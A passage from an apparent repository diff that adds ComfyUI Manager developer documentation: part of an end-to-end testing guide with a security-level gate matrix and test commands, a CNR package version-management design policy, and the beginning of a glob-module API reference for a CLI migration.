Status 200 + response schema + side-effect verification. Do not stop at
|
||||
status 200 — assert at least one schema field AND one observable side
|
||||
effect (disk artifact, queue entry, config change).
|
||||
|
||||
### 5.2 Negative-path
|
||||
|
||||
Status 400 / 403 / 405 + body message substring. CSRF-reject tests live
|
||||
in `test_e2e_csrf*.py` and are parametrized over the full endpoint list.
|
||||
|
||||
### 5.3 Async queue polling
|
||||
|
||||
Install / update endpoints enqueue work and return immediately. Poll
|
||||
`/v2/manager/queue/status` or the expected disk artifact until completion.
|
||||
Never `time.sleep()` with a hard-coded interval — use `expect.poll` (TS)
|
||||
or a polling helper with a timeout.
|
||||
|
||||
### 5.4 Teardown mandatory for mutation tests
|
||||
|
||||
Install / save / apply tests MUST restore the original state. Use
|
||||
`try/finally` or a pytest fixture. A failing test that leaves a modified
|
||||
config.ini or an installed custom_node poisons every subsequent test in
|
||||
the suite.
|
||||
|
||||
### 5.5 `@pytest.mark.xfail` for known bugs
|
||||
|
||||
When a test documents a bug that is not yet fixed, mark it
|
||||
`@pytest.mark.xfail(reason=...)`. When the fix lands, flip to `xfail(strict=True)`
|
||||
or remove the mark and include the fix commit hash in the removal commit
|
||||
message (see `test_reinstall_with_uv_compile` / commit `ddccefbc` for the
|
||||
pattern).
|
||||
|
||||
### 5.6 Playwright selector stability
|
||||
|
||||
Prefer title attribute — e.g. `select[title^="Configure the channel"]` —
|
||||
over class selectors (shared across multiple combos). Label-based
|
||||
(`:has(span.text-muted:text-is("Channel"))`) is second-best. Class-only
|
||||
is brittle. See `reports/legacy-ui-channel-combo-dom-mapping.md` for the
|
||||
channel-combo case study.
|
||||
|
||||
### 5.7 Playwright 2-hop mock
|
||||
|
||||
For fail-state UI scenarios: mock GET (inject a fake pack that puts the UI
|
||||
into the failure state) + intercept POST (capture the payload the failure
|
||||
handler fires). (The prior `legacy-ui-mock-install.spec.ts::wi-015`
|
||||
exemplar was superseded by a real-E2E pre-seeded broken-pack test in
|
||||
`tests/e2e/test_e2e_legacy_real_ops.py::TestImportFailInfoReal` — use
|
||||
this technique only when real backend reproduction is infeasible.)
|
||||
|
||||
### 5.8 Playwright `page.request.post` fallback
|
||||
|
||||
For structurally unreachable UI triggers — e.g. the idle-state
|
||||
`queue/reset` Stop button is `display: none` — use the browser-context
|
||||
HTTP client to bypass the UI. Document the reason in the spec comment so
|
||||
future readers don't "fix" it by forcing a click.
|
||||
|
||||
---
|
||||
|
||||
## 6. Security Gate Matrix
|
||||
|
||||
`comfyui_manager/glob/utils/security_utils.py:20-26` gates endpoints by
|
||||
risk level. The default `security_level=normal` allows middle+ but
|
||||
rejects high+ with 403.
|
||||
|
||||
| Gate | Local only? | security_level must be in |
|
||||
|------|:---:|---------------------------|
|
||||
| `middle+` | optional | `{WEAK, NORMAL, NORMAL_}` (default allows) |
|
||||
| `high+` | required | `{WEAK, NORMAL_}` (default `NORMAL` ⇒ 403) |
|
||||
|
||||
**high+ endpoints** (`comfyui_switch_version`, `install/git_url`,
|
||||
`install/pip`, install_model with non-safetensors, etc.) require
|
||||
`start_comfyui_permissive.sh` to be tested positively. That harness
|
||||
backs up `config.ini`, patches `security_level = normal-`, sets
|
||||
`ENABLE_LEGACY_UI=1`, and the pytest fixture restores the config on
|
||||
teardown. Use hardcoded trusted inputs only (never user-derived) — the
|
||||
default-security `403` contract is the positive-path security behavior
|
||||
we want to preserve in production. The counterpart
|
||||
`start_comfyui_strict.sh` harness (`security_level = strong`) is used to
|
||||
exercise the 403 negative path for `middle` / `middle+` gates. See the
|
||||
WI-YY infeasibility log for which high+ endpoints still need harness
|
||||
work.
|
||||
|
||||
**Honesty boundary for mock-based closures**: rows in
|
||||
`reports/api-coverage-matrix.md` marked `Y (WI-WW-mock)` assert UI→API
|
||||
wiring only — URL + method + payload shape. They do NOT assert backend
|
||||
handler behavior; that is pytest's job. A regression that kept the UI
|
||||
firing correctly but broke the backend would not be caught by the mock
|
||||
test alone. Document the boundary in the spec comment.
|
||||
|
||||
---
|
||||
|
||||
## 7. Audit & Coverage Artifacts
|
||||
|
||||
Tracked reports under `reports/`. Update these when you add or retire
|
||||
tests.
|
||||
|
||||
| Artifact | Purpose | Maintenance |
|
||||
|----------|---------|-------------|
|
||||
| `reports/e2e_verification_audit.md` | Per-test verdict matrix (✅ PASS / ⚠️ WEAK / ❌ INADEQUATE / N/A) with Summary table, per-file sections, TOTAL counts | Any new or retired test → update both the per-file section and Summary; then run `scripts/verify_audit_counts.py` |
|
||||
| `reports/api-coverage-matrix.md` | 39-endpoint × pytest + Playwright matrix | Update when a new endpoint is added or a coverage cell flips |
|
||||
| `reports/test-bloat-inventory.md` | 10-code bloat sweep (B1-BA), 127-test baseline | Run `/pair-sweep test bloat identification` for a re-baseline when churn exceeds 10 tests |
|
||||
|
||||
**Verification script**: `scripts/verify_audit_counts.py` parses
|
||||
`e2e_verification_audit.md` and validates that the Summary row counts
|
||||
match the per-file section counts and the TOTAL line. It MUST exit 0
|
||||
before a doc-sync WI completes.
|
||||
|
||||
---
|
||||
|
||||
## 8. Test Bloat Checklist (B1-BA)
|
||||
|
||||
Use these codes when reviewing new tests. Sources:
|
||||
`reports/test-bloat-inventory.md` + the sweep methodology in
|
||||
`.claude/pair-working/sessions/sweep-endpoint-coverage/scratch/goal-report-bloat-sweep.md`.
|
||||
|
||||
| Code | Type | Criterion |
|
||||
|------|------|-----------|
|
||||
| **B1** Redundant | Duplicate assertion | Same assertion or contract already covered by another test |
|
||||
| **B2** Over-parametrized | Boundary noise | Cases beyond boundary + equivalence class contribute zero |
|
||||
| **B3** Mixed-concerns | Multi-concern | One test mixes 3+ unrelated assertions |
|
||||
| **B4** Dead | Non-existent feature | Validates a removed / non-existent endpoint or API |
|
||||
| **B5** Smoke-only | Superficial | Only checks status 200 + dict type, no substantive validation |
|
||||
| **B6** Setup-heavy | Over-fixtured | 50+ lines of setup/teardown vs few assertions |
|
||||
| **B7** Stale-skip | Obsolete skip | `pytest.skip` reason no longer valid |
|
||||
| **B8** Title-mismatch | Misleading name | Function name does not match what it actually validates |
|
||||
| **B9** Copy-paste | DRY violation | ≥80% duplication with another test; helper/parametrization possible |
|
||||
| **BA** Impl-detail | Implementation-coupled | Validates internal implementation, not contract |
|
||||
|
||||
**Triage priority**: B4 ⇒ remove. B1/B9 ⇒ parametrize or remove the
|
||||
duplicate. B8 ⇒ rename or refactor the assertion. B5/BA ⇒ strengthen or
|
||||
remove. B6/B7 ⇒ clean up. B2/B3 ⇒ case-by-case.
|
||||
|
||||
---
|
||||
|
||||
## 9. Running Tests
|
||||
|
||||
### 9.1 pytest E2E — glob manager
|
||||
|
||||
```bash
|
||||
pytest tests/e2e/ -v --timeout=300
|
||||
```
|
||||
|
||||
### 9.2 pytest E2E — legacy-only endpoints
|
||||
|
||||
```bash
|
||||
pytest tests/e2e/test_e2e_legacy_endpoints.py tests/e2e/test_e2e_csrf_legacy.py -v
|
||||
```
|
||||
|
||||
### 9.3 Playwright (legacy UI)
|
||||
|
||||
```bash
|
||||
PORT=8199 npx playwright test tests/playwright/
|
||||
```
|
||||
|
||||
### 9.4 CLI subprocess
|
||||
|
||||
```bash
|
||||
pytest tests/cli/ -v
|
||||
```
|
||||
|
||||
### 9.5 Audit verification
|
||||
|
||||
```bash
|
||||
python3 scripts/verify_audit_counts.py
|
||||
```
|
||||
|
||||
Exits 0 when `reports/e2e_verification_audit.md` is internally consistent
|
||||
(Summary ↔ per-file ↔ TOTAL). Exit non-zero → drift between sections.
|
||||
|
||||
### 9.6 Full suite (reference invocation)
|
||||
|
||||
```bash
|
||||
# pytest all, with explicit venv
|
||||
E2E_ROOT=$E2E_ROOT $E2E_ROOT/venv/bin/python -m pytest tests/e2e/ -v --timeout=300
|
||||
|
||||
# Playwright, legacy UI mode
|
||||
PORT=8199 npx playwright test tests/playwright/
|
||||
|
||||
# Audit verification
|
||||
python3 scripts/verify_audit_counts.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Appendix — Companion Files
|
||||
|
||||
- `.claude/scaffold/e2e-methods.yml` — living registry of the test
|
||||
patterns described in §5 plus the bloat codes from §8. Append entries
|
||||
when you establish a new pattern.
|
||||
- `reports/e2e_verification_audit.md` — per-test verdict matrix.
|
||||
- `reports/api-coverage-matrix.md` — endpoint × coverage matrix.
|
||||
- `reports/test-bloat-inventory.md` — 127-test sweep baseline.
|
||||
- `reports/legacy-ui-channel-combo-dom-mapping.md` — DOM selector case
|
||||
study for the Channel combo.
|
||||
@@ -0,0 +1,355 @@
|
||||
# CNR Version Management Design
|
||||
|
||||
**Version**: 1.1
|
||||
**Date**: 2025-11-08
|
||||
**Status**: Official Design Policy
|
||||
|
||||
## Overview
|
||||
|
||||
This document describes the official design policy for CNR (ComfyUI Node Registry) version management in ComfyUI Manager.
|
||||
|
||||
## Core Design Principles
|
||||
|
||||
### 1. In-Place Upgrade Policy
|
||||
|
||||
**Policy**: CNR upgrades are performed as **in-place replacements** without version history preservation.
|
||||
|
||||
**Rationale**:
|
||||
- **Simplicity**: Single version management is easier for users and maintainers
|
||||
- **Disk Space**: Prevents accumulation of old package versions
|
||||
- **Clear State**: Users always know which version is active
|
||||
- **Consistency**: Same behavior for enabled and disabled states
|
||||
|
||||
**Behavior**:
|
||||
```
|
||||
Before: custom_nodes/PackageName/ (CNR v1.0.1 with .tracking)
|
||||
Action: Install CNR v1.0.2
|
||||
After: custom_nodes/PackageName/ (CNR v1.0.2 with .tracking)
|
||||
Result: Old v1.0.1 REMOVED (not preserved)
|
||||
```
|
||||
|
||||
### 2. Single CNR Version Policy
|
||||
|
||||
**Policy**: Only **ONE CNR version** exists at any given time (either enabled OR disabled, never both).
|
||||
|
||||
**Rationale**:
|
||||
- **State Clarity**: No ambiguity about which CNR version is current
|
||||
- **Resource Management**: Minimal disk usage
|
||||
- **User Experience**: Clear version state without confusion
|
||||
- **Design Consistency**: Uniform handling across operations
|
||||
|
||||
**States**:
|
||||
- **Enabled**: `custom_nodes/PackageName/` (with `.tracking`)
|
||||
- **Disabled**: `.disabled/packagename@version/` (with `.tracking`)
|
||||
- **Never**: Multiple CNR versions coexisting
|
||||
|
||||
### 3. CNR vs Nightly Differentiation
|
||||
|
||||
**Policy**: Different handling for CNR and Nightly packages based on use cases.
|
||||
|
||||
| Aspect | CNR Packages (`.tracking`) | Nightly Packages (`.git`) |
|
||||
|--------|----------------------------|---------------------------|
|
||||
| **Purpose** | Stable releases | Development versions |
|
||||
| **Preservation** | Not preserved (in-place upgrade) | Preserved (multiple versions) |
|
||||
| **Version Policy** | Single version only | Multiple versions allowed |
|
||||
| **Use Case** | Production use | Testing and development |
|
||||
|
||||
**Rationale**:
|
||||
- **CNR**: Stable releases don't need version history; users want single stable version
|
||||
- **Nightly**: Development versions benefit from multiple versions for testing
|
||||
|
||||
### 4. API Response Priority Rules
|
||||
|
||||
**Policy**: The `/v2/customnode/installed` API applies two priority rules to prevent duplicate package entries and ensure clear state representation.
|
||||
|
||||
**Rule 1 (Enabled-Priority)**:
|
||||
- **Policy**: When both enabled and disabled versions of the same package exist → Return ONLY the enabled version
|
||||
- **Rationale**: Prevents frontend confusion from duplicate package entries
|
||||
- **Implementation**: `comfyui_manager/glob/manager_core.py:1801` in `get_installed_nodepacks()`
|
||||
|
||||
**Rule 2 (CNR-Priority for Disabled Packages)**:
|
||||
- **Policy**: When both CNR and Nightly versions are disabled → Return ONLY the CNR version
|
||||
- **Rationale**: CNR versions are stable releases and should be preferred over development Nightly builds when both are inactive
|
||||
- **Implementation**: `comfyui_manager/glob/manager_core.py:1801` in `get_installed_nodepacks()`
|
||||
|
||||
**Priority Matrix**:
|
||||
|
||||
| Scenario | Enabled Versions | Disabled Versions | API Response |
|
||||
|----------|------------------|-------------------|--------------|
|
||||
| 1. CNR enabled only | CNR v1.0.1 | None | CNR v1.0.1 (`enabled: true`) |
|
||||
| 2. CNR enabled + Nightly disabled | CNR v1.0.1 | Nightly | **Only CNR v1.0.1** (`enabled: true`) ← Rule 1 |
|
||||
| 3. Nightly enabled + CNR disabled | Nightly | CNR v1.0.1 | **Only Nightly** (`enabled: true`) ← Rule 1 |
|
||||
| 4. CNR disabled + Nightly disabled | None | CNR v1.0.1, Nightly | **Only CNR v1.0.1** (`enabled: false`) ← Rule 2 |
|
||||
| 5. Different packages disabled | None | PackageA, PackageB | Both packages (`enabled: false`) |
|
||||
|
||||
**Test Coverage**:
|
||||
- `tests/glob/test_installed_api_enabled_priority.py`
|
||||
- `test_installed_api_shows_only_enabled_when_both_exist` - Verifies Rule 1
|
||||
- `test_installed_api_cnr_priority_when_both_disabled` - Verifies Rule 2
|
||||
|
||||
## Detailed Behavior Specifications
|
||||
|
||||
### CNR Upgrade (Enabled → Enabled)
|
||||
|
||||
**Scenario**: Upgrading from CNR v1.0.1 to v1.0.2 when v1.0.1 is enabled
|
||||
|
||||
```
|
||||
Initial State:
|
||||
custom_nodes/PackageName/ (CNR v1.0.1 with .tracking)
|
||||
|
||||
Action:
|
||||
Install CNR v1.0.2
|
||||
|
||||
Process:
|
||||
1. Download CNR v1.0.2
|
||||
2. Remove existing custom_nodes/PackageName/
|
||||
3. Install CNR v1.0.2 to custom_nodes/PackageName/
|
||||
4. Create .tracking file
|
||||
|
||||
Final State:
|
||||
custom_nodes/PackageName/ (CNR v1.0.2 with .tracking)
|
||||
|
||||
Result:
|
||||
✓ v1.0.2 installed and enabled
|
||||
✓ v1.0.1 completely removed
|
||||
✓ No version history preserved
|
||||
```
|
||||
|
||||
### CNR Switch from Disabled
|
||||
|
||||
**Scenario**: Switching from disabled CNR v1.0.1 to CNR v1.0.2
|
||||
|
||||
```
|
||||
Initial State:
|
||||
custom_nodes/PackageName/ (Nightly with .git)
|
||||
.disabled/packagename@1_0_1/ (CNR v1.0.1 with .tracking)
|
||||
|
||||
User Action:
|
||||
Install CNR v1.0.2
|
||||
|
||||
Process:
|
||||
Step 1: Enable disabled CNR v1.0.1
|
||||
- Move .disabled/packagename@1_0_1/ → custom_nodes/PackageName/
|
||||
- Move custom_nodes/PackageName/ → .disabled/packagename@nightly/
|
||||
|
||||
Step 2: Upgrade CNR v1.0.1 → v1.0.2 (in-place)
|
||||
- Download CNR v1.0.2
|
||||
- Remove custom_nodes/PackageName/
|
||||
- Install CNR v1.0.2 to custom_nodes/PackageName/
|
||||
|
||||
Final State:
|
||||
custom_nodes/PackageName/ (CNR v1.0.2 with .tracking)
|
||||
.disabled/packagename@nightly/ (Nightly preserved)
|
||||
|
||||
Result:
|
||||
✓ CNR v1.0.2 installed and enabled
|
||||
✓ CNR v1.0.1 removed (not preserved in .disabled/)
|
||||
✓ Nightly preserved in .disabled/
|
||||
```
|
||||
|
||||
### CNR Disable
|
||||
|
||||
**Scenario**: Disabling CNR v1.0.1 when Nightly exists
|
||||
|
||||
```
|
||||
Initial State:
|
||||
custom_nodes/PackageName/ (CNR v1.0.1 with .tracking)
|
||||
|
||||
Action:
|
||||
Disable CNR v1.0.1
|
||||
|
||||
Final State:
|
||||
.disabled/packagename@1_0_1/ (CNR v1.0.1 with .tracking)
|
||||
|
||||
Note:
|
||||
- Only ONE disabled CNR version exists
|
||||
- If another CNR is already disabled, it is replaced
|
||||
```
|
||||
|
||||
### Nightly Installation (with CNR Disabled)
|
||||
|
||||
**Scenario**: Installing Nightly when CNR v1.0.1 is disabled
|
||||
|
||||
```
|
||||
Initial State:
|
||||
.disabled/packagename@1_0_1/ (CNR v1.0.1 with .tracking)
|
||||
|
||||
Action:
|
||||
Install Nightly
|
||||
|
||||
Final State:
|
||||
custom_nodes/PackageName/ (Nightly with .git)
|
||||
.disabled/packagename@1_0_1/ (CNR v1.0.1 preserved)
|
||||
|
||||
Result:
|
||||
✓ Nightly installed and enabled
|
||||
✓ Disabled CNR v1.0.1 preserved (not removed)
|
||||
✓ Different handling for Nightly vs CNR
|
||||
```
|
||||
|
||||
## Implementation Requirements
|
||||
|
||||
### CNR Install/Upgrade Operation
|
||||
|
||||
1. **Check for existing CNR versions**:
|
||||
- Enabled: `custom_nodes/PackageName/` with `.tracking`
|
||||
- Disabled: `.disabled/*` with `.tracking`
|
||||
|
||||
2. **Remove old CNR versions**:
|
||||
- If enabled CNR exists: Remove it
|
||||
- If disabled CNR exists: Remove it
|
||||
- Ensure only ONE CNR version will exist after operation
|
||||
|
||||
3. **Install new CNR version**:
|
||||
- Download and extract to target location
|
||||
- Create `.tracking` file
|
||||
- Register in package database
|
||||
|
||||
4. **Preserve Nightly packages**:
|
||||
- Do NOT remove packages with `.git` directory
|
||||
- Nightly packages should be preserved in `.disabled/`
|
||||
|
||||
### CNR Disable Operation
|
||||
|
||||
1. **Move enabled CNR to disabled**:
|
||||
- Move `custom_nodes/PackageName/` → `.disabled/packagename@version/`
|
||||
- Use **installed version** for directory name (not registry latest)
|
||||
|
||||
2. **Remove any existing disabled CNR**:
|
||||
- Only ONE disabled CNR version allowed
|
||||
- If another CNR already in `.disabled/`, remove it first
|
||||
|
||||
3. **Preserve disabled Nightly**:
|
||||
- Do NOT remove disabled Nightly packages
|
||||
- Multiple Nightly versions can coexist in `.disabled/`
|
||||
|
||||
### CNR Enable Operation
|
||||
|
||||
1. **Check for enabled package**:
|
||||
- If another package enabled, disable it first
|
||||
|
||||
2. **Move disabled CNR to enabled**:
|
||||
- Move `.disabled/packagename@version/` → `custom_nodes/PackageName/`
|
||||
|
||||
3. **Maintain single CNR policy**:
|
||||
- After enable, no CNR should remain in `.disabled/`
|
||||
- Only Nightly packages should remain in `.disabled/`
|
||||
|
||||
## Test Coverage
|
||||
|
||||
### Phase 7: Version Management Behavior Tests
|
||||
|
||||
**Test 7.1: `test_cnr_version_upgrade_removes_old`**
|
||||
- ✅ Verifies in-place upgrade removes old CNR version
|
||||
- ✅ Confirms only one CNR version exists after upgrade
|
||||
- ✅ Documents single version policy
|
||||
|
||||
**Test 7.2: `test_cnr_nightly_switching_preserves_nightly_only`**
|
||||
- ✅ Verifies Nightly preservation across CNR upgrades
|
||||
- ✅ Confirms old CNR versions removed (not preserved)
|
||||
- ✅ Documents different handling for CNR vs Nightly
|
||||
|
||||
### Other Relevant Tests
|
||||
|
||||
**Phase 1-6 Tests**:
|
||||
- ✅ All tests comply with single CNR version policy
|
||||
- ✅ No tests assume multiple CNR versions coexist
|
||||
- ✅ Fixtures properly handle CNR vs Nightly differences
|
||||
|
||||
## Known Behaviors
|
||||
|
||||
### Correct Behaviors (By Design)
|
||||
|
||||
1. **CNR Upgrades Remove Old Versions**
|
||||
- Status: ✅ Intentional design
|
||||
- Reason: In-place upgrade policy
|
||||
- Test: Phase 7.1 verifies this
|
||||
|
||||
2. **Only One CNR Version Exists**
|
||||
- Status: ✅ Intentional design
|
||||
- Reason: Single version policy
|
||||
- Test: Phase 7.2 verifies this
|
||||
|
||||
3. **Nightly Preserved, CNR Not**
|
||||
- Status: ✅ Intentional design
|
||||
- Reason: Different use cases
|
||||
- Test: Phase 7.2 verifies this
|
||||
|
||||
### Known Issues
|
||||
|
||||
1. **Disable API Version Mismatch**
|
||||
- Status: ⚠️ Bug to be fixed
|
||||
- Issue: Disabled directory name uses registry latest instead of installed version
|
||||
- Impact: Incorrect directory naming
|
||||
- Priority: Medium
|
||||
|
||||
## Design Rationale
|
||||
|
||||
### Why In-Place Upgrade?
|
||||
|
||||
**Benefits**:
|
||||
- Simple mental model for users
|
||||
- No disk space accumulation
|
||||
- Clear version state
|
||||
- Easier maintenance
|
||||
|
||||
**Trade-offs**:
|
||||
- No automatic rollback capability
|
||||
- Users must reinstall old versions from registry
|
||||
- Network required for version downgrades
|
||||
|
||||
**Decision**: Benefits outweigh trade-offs for stable release management.
|
||||
|
||||
### Why Different CNR vs Nightly Handling?
|
||||
|
||||
**CNR (Stable Releases)**:
|
||||
- Users want single stable version
|
||||
- Production use case
|
||||
- Rollback via registry if needed
|
||||
|
||||
**Nightly (Development Builds)**:
|
||||
- Developers test multiple versions
|
||||
- Development use case
|
||||
- Local version testing important
|
||||
|
||||
**Decision**: Different use cases justify different policies.
|
||||
|
||||
## Future Considerations
|
||||
|
||||
### Potential Enhancements (Not Currently Planned)
|
||||
|
||||
1. **Optional Version History**
|
||||
- Configurable preservation of last N versions
|
||||
- Opt-in via configuration flag
|
||||
- Separate history directory
|
||||
|
||||
2. **CNR Rollback API**
|
||||
- Dedicated rollback endpoint
|
||||
- Re-download from registry
|
||||
- Preserve current version before downgrade
|
||||
|
||||
3. **Version Pinning**
|
||||
- Pin specific CNR version
|
||||
- Prevent automatic upgrades
|
||||
- Per-package configuration
|
||||
|
||||
**Note**: These are potential future enhancements, not current requirements.
|
||||
|
||||
## Version History
|
||||
|
||||
| Version | Date | Changes |
|
||||
|---------|------|---------|
|
||||
| 1.1 | 2025-11-08 | Added API Response Priority Rules (Rule 1: Enabled-Priority, Rule 2: CNR-Priority) |
|
||||
| 1.0 | 2025-11-06 | Initial design document based on user clarification |
|
||||
|
||||
## References
|
||||
|
||||
- Phase 7 Test Implementation: `tests/glob/test_complex_scenarios.py`
|
||||
- Policy Clarification: `.claude/livecontext/cnr_version_policy_clarification.md`
|
||||
- Bug Report: `.claude/livecontext/bugs_to_file.md`
|
||||
|
||||
---
|
||||
|
||||
**Approved By**: User feedback 2025-11-06
|
||||
**Status**: Official Policy
|
||||
**Compliance**: All tests verified against this policy
|
||||
@@ -0,0 +1,292 @@
|
||||
# Glob Module API Reference for CLI Migration
|
||||
|
||||
## 🎯 Quick Reference
|
||||
This document provides essential glob module APIs available for CLI implementation. **READ ONLY** - do not modify glob module.
|
||||
|
||||
---
|
||||
|
||||
## 📦 Core Classes
|
||||
|
||||
### UnifiedManager
|
||||
**Location**: `comfyui_manager/glob/manager_core.py:436`
|
||||
**Instance**: Available as `unified_manager` (global instance)
|
||||
|
||||
#### Data Structures
|
||||
```python
|
||||
class UnifiedManager:
|
||||
def __init__(self):
|
||||
# PRIMARY DATA - Use these instead of legacy dicts
|
||||
self.installed_node_packages: dict[str, list[InstalledNodePackage]]
|
||||
self.repo_nodepack_map: dict[str, InstalledNodePackage] # compact_url -> package
|
||||
self.processed_install: set
|
||||
```
|
||||
|
||||
#### Core Methods (Direct CLI Equivalents)
|
||||
```python
|
||||
# Installation & Management
|
||||
async def install_by_id(packname: str, version_spec=None, channel=None,
|
||||
mode=None, instant_execution=False, no_deps=False,
|
||||
return_postinstall=False) -> ManagedResult
|
||||
def unified_enable(packname: str, version_spec=None) -> ManagedResult
|
||||
def unified_disable(packname: str) -> ManagedResult
|
||||
def unified_uninstall(packname: str) -> ManagedResult
|
||||
def unified_update(packname: str, instant_execution=False, no_deps=False,
|
||||
return_postinstall=False) -> ManagedResult
|
||||
def unified_fix(packname: str, version_spec, instant_execution=False,
|
||||
no_deps=False) -> ManagedResult
|
||||
|
||||
# Package Resolution & Info
|
||||
def resolve_node_spec(packname: str, guess_mode=None) -> tuple[str, str, bool] | None
|
||||
def get_active_pack(packname: str) -> InstalledNodePackage | None
|
||||
def get_inactive_pack(packname: str, version_spec=None) -> InstalledNodePackage | None
|
||||
|
||||
# Git Repository Operations
|
||||
async def repo_install(url: str, repo_path: str, instant_execution=False,
|
||||
no_deps=False, return_postinstall=False) -> ManagedResult
|
||||
def repo_update(repo_path: str, instant_execution=False, no_deps=False,
|
||||
return_postinstall=False) -> ManagedResult
|
||||
|
||||
# Utilities
|
||||
def is_url_like(url: str) -> bool
|
||||
def reload() -> None
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### InstalledNodePackage
|
||||
**Location**: `comfyui_manager/common/node_package.py:10`
|
||||
|
||||
```python
|
||||
@dataclass
|
||||
class InstalledNodePackage:
|
||||
# Core Data
|
||||
id: str # Package identifier
|
||||
fullpath: str # Installation path
|
||||
disabled: bool # Disabled state
|
||||
version: str # Version (cnr version, "nightly", or "unknown")
|
||||
repo_url: str = None # Git repository URL (for nightly/unknown)
|
||||
|
||||
# Computed Properties
|
||||
@property
|
||||
def is_unknown(self) -> bool: # version == "unknown"
|
||||
@property
|
||||
def is_nightly(self) -> bool: # version == "nightly"
|
||||
@property
|
||||
def is_from_cnr(self) -> bool: # not unknown and not nightly
|
||||
@property
|
||||
def is_enabled(self) -> bool: # not disabled
|
||||
@property
|
||||
def is_disabled(self) -> bool: # disabled
|
||||
|
||||
# Methods
|
||||
def get_commit_hash(self) -> str
|
||||
def isValid(self) -> bool
|
||||
|
||||
@staticmethod
|
||||
def from_fullpath(fullpath: str, resolve_from_path) -> InstalledNodePackage
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### ManagedResult
|
||||
**Location**: `comfyui_manager/glob/manager_core.py:285`
|
||||
|
||||
```python
|
||||
class ManagedResult:
|
||||
def __init__(self, action: str):
|
||||
self.action: str = action # 'install-cnr', 'install-git', 'enable', 'skip', etc.
|
||||
self.result: bool = True # Success/failure
|
||||
self.msg: str = "" # Human readable message
|
||||
self.target: str = None # Target identifier
|
||||
self.postinstall = None # Post-install callback
|
||||
|
||||
# Methods
|
||||
def fail(self, msg: str = "") -> ManagedResult
|
||||
def with_msg(self, msg: str) -> ManagedResult
|
||||
def with_target(self, target: str) -> ManagedResult
|
||||
def with_postinstall(self, postinstall) -> ManagedResult
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🛠️ Standalone Functions
|
||||
|
||||
### Core Manager Functions
|
||||
```python
|
||||
# Snapshot Operations
|
||||
async def save_snapshot_with_postfix(postfix: str, path: str = None,
|
||||
custom_nodes_only: bool = False) -> str
|
||||
|
||||
async def restore_snapshot(snapshot_path: str, git_helper_extras=None) -> None
|
||||
|
||||
# Node Utilities
|
||||
def simple_check_custom_node(url: str) -> str # Returns: 'installed', 'not-installed', 'disabled'
|
||||
|
||||
# Path Utilities
|
||||
def get_custom_nodes_paths() -> list[str]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔗 CNR Utilities
|
||||
**Location**: `comfyui_manager/common/cnr_utils.py`
|
||||
|
||||
```python
|
||||
# Essential CNR functions for CLI
|
||||
def get_nodepack(packname: str) -> dict | None
|
||||
# Returns CNR package info or None
|
||||
|
||||
def get_all_nodepackages() -> dict[str, dict]
|
||||
# Returns all CNR packages {package_id: package_info}
|
||||
|
||||
def all_versions_of_node(node_name: str) -> list[dict] | None
|
||||
# Returns version history for a package
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📋 Usage Patterns for CLI Migration
|
||||
|
||||
### 1. Replace Legacy Dict Access
|
||||
```python
|
||||
# ❌ OLD (Legacy way)
|
||||
for k, v in unified_manager.active_nodes.items():
|
||||
version, fullpath = v
|
||||
print(f"Active: {k} @ {version}")
|
||||
|
||||
# ✅ NEW (Glob way)
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
if pack.is_enabled:
|
||||
print(f"Active: {pack.id} @ {pack.version}")
|
||||
```
|
||||
|
||||
### 2. Package Installation
|
||||
```python
|
||||
# CNR Package Installation
|
||||
res = await unified_manager.install_by_id("package-name", "1.0.0",
|
||||
instant_execution=True, no_deps=False)
|
||||
|
||||
# Git URL Installation
|
||||
if unified_manager.is_url_like(url):
|
||||
repo_name = os.path.basename(url).replace('.git', '')
|
||||
res = await unified_manager.repo_install(url, repo_name,
|
||||
instant_execution=True, no_deps=False)
|
||||
```
|
||||
|
||||
### 3. Package State Queries
|
||||
```python
|
||||
# Check if package is active
|
||||
active_pack = unified_manager.get_active_pack("package-name")
|
||||
if active_pack:
|
||||
print(f"Package is enabled: {active_pack.version}")
|
||||
|
||||
# Check if package is inactive
|
||||
inactive_pack = unified_manager.get_inactive_pack("package-name")
|
||||
if inactive_pack:
|
||||
print(f"Package is disabled: {inactive_pack.version}")
|
||||
```
|
||||
|
||||
### 4. CNR Data Access
|
||||
```python
|
||||
# Get CNR package information
|
||||
from ..common import cnr_utils
|
||||
|
||||
cnr_info = cnr_utils.get_nodepack("package-name")
|
||||
if cnr_info:
|
||||
publisher = cnr_info.get('publisher', {}).get('name', 'Unknown')
|
||||
print(f"Publisher: {publisher}")
|
||||
|
||||
# Get all CNR packages (for show not-installed)
|
||||
all_cnr = cnr_utils.get_all_nodepackages()
|
||||
```
|
||||
|
||||
### 5. Result Handling
|
||||
```python
|
||||
res = await unified_manager.install_by_id("package-name")
|
||||
|
||||
if res.action == 'skip':
|
||||
print(f"SKIP: {res.msg}")
|
||||
elif res.action == 'install-cnr' and res.result:
|
||||
print(f"INSTALLED: {res.target}")
|
||||
elif res.action == 'enable' and res.result:
|
||||
print(f"ENABLED: package was already installed")
|
||||
else:
|
||||
print(f"ERROR: {res.msg}")
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🚫 NOT Available in Glob (Handle These)
|
||||
|
||||
### Legacy Functions That Don't Exist:
|
||||
- `get_custom_nodes()` → Use `cnr_utils.get_all_nodepackages()`
|
||||
- `load_nightly()` → Remove or stub
|
||||
- `extract_nodes_from_workflow()` → Remove feature
|
||||
- `gitclone_install()` → Use `repo_install()`
|
||||
|
||||
### Legacy Properties That Don't Exist:
|
||||
- `active_nodes` → Use `installed_node_packages` + filter by `is_enabled`
|
||||
- `cnr_map` → Use `cnr_utils.get_all_nodepackages()`
|
||||
- `cnr_inactive_nodes` → Use `installed_node_packages` + filter by `is_disabled` and `is_from_cnr`
|
||||
- `nightly_inactive_nodes` → Use `installed_node_packages` + filter by `is_disabled` and `is_nightly`
|
||||
- `unknown_active_nodes` → Use `installed_node_packages` + filter by `is_enabled` and `is_unknown`
|
||||
- `unknown_inactive_nodes` → Use `installed_node_packages` + filter by `is_disabled` and `is_unknown`
|
||||
|
||||
---
|
||||
|
||||
## 🔄 Data Migration Examples
|
||||
|
||||
### Show Enabled Packages
|
||||
```python
|
||||
def show_enabled_packages():
|
